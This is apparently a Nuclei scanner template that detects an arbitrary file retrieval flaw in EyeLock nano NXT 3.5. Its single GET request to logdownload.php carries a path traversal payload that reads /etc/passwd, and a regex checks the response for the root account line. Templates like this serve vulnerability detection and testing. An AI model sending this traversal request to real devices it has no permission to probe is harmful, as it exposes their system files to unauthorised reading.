id: eyelock-nano-lfd

info:
  name: EyeLock nano NXT 3.5 - Arbitrary File Retrieval
  author: geeknik
  severity: high
  description: EyeLock nano NXT suffers from a file retrieval vulnerability when input passed through the 'path' parameter to 'logdownload.php' script is not properly verified before being used to read files. This can be exploited to disclose contents of files from local resources.
  reference:
    - https://www.zeroscience.mk/codes/eyelock_lfd.txt
  metadata:
    max-request: 1
  tags: iot,lfi,eyelock,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/scripts/logdownload.php?dlfilename=juicyinfo.txt&path=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        regex:
          - "root:[x*]:0:0:"
        part: body
# digest: 4b0a00483046022100ec6c6517e20583f0e69d2cff65fa4e4c8a70f490dbe8f0cb2ca1529ac22774a3022100de41faf689a8fe50dab83de73c671c8c52b25c3e1c32d74ac9e8f8df93ccba5f:922c64590222798bb761d5b6d8e72950